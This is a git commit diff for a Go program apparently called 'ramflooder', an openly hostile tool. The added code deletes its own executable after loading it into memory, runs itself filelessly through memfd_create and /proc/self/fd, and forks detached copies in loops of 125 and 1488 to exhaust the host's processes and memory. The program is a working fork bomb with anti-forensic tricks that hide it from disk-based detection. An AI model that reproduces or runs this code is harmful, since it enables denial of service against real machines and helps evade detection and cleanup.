lol
This commit is contained in:
parent
2c86a0af33
commit
be49198f30
59
main.go
59
main.go
@ -2,23 +2,50 @@ package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var payload = []byte{}
|
||||
|
||||
func init() {
|
||||
if len(payload) == 0 {
|
||||
exe, _ := os.Executable()
|
||||
file, _ := os.Open(exe)
|
||||
payload, _ = io.ReadAll(file)
|
||||
file.Close()
|
||||
os.Remove(exe)
|
||||
}
|
||||
}
|
||||
|
||||
func memfdCreate() int {
|
||||
name := []byte("ramflooder\x00")
|
||||
fd, _, _ := syscall.Syscall(319, uintptr(unsafe.Pointer(&name[0])), 1, 0)
|
||||
return int(fd)
|
||||
}
|
||||
|
||||
func spawnMemory() {
|
||||
fd := memfdCreate()
|
||||
if fd < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
syscall.Write(fd, payload)
|
||||
|
||||
pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
|
||||
if pid == 0 {
|
||||
path := fmt.Sprintf("/proc/self/fd/%d", fd)
|
||||
syscall.Exec(path, []string{"ramflooder"}, []string{"CHILD_MODE=1"})
|
||||
}
|
||||
syscall.Close(fd)
|
||||
}
|
||||
|
||||
func childProcess() {
|
||||
go func() {
|
||||
for i := 0; i < 125; i++ {
|
||||
cmd := exec.Command(os.Args[0], "child")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
Setpgid: true,
|
||||
}
|
||||
if err := cmd.Start(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "lol wtf %v\n", err)
|
||||
} else {
|
||||
cmd.Process.Release()
|
||||
}
|
||||
spawnMemory()
|
||||
}
|
||||
}()
|
||||
|
||||
@ -31,7 +58,7 @@ func childProcess() {
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) > 1 && os.Args[1] == "child" {
|
||||
if os.Getenv("CHILD_MODE") == "1" {
|
||||
childProcess()
|
||||
return
|
||||
}
|
||||
@ -43,15 +70,7 @@ func main() {
|
||||
pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
|
||||
if pid == 0 {
|
||||
for i := 0; i < 1488; i++ {
|
||||
cmd := exec.Command(os.Args[0], "child")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
Setpgid: true,
|
||||
}
|
||||
if err := cmd.Start(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "lol wtf %d: %v\n", i+1, err)
|
||||
continue
|
||||
}
|
||||
cmd.Process.Release()
|
||||
spawnMemory()
|
||||
}
|
||||
os.Exit(0)
|
||||
} else {
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user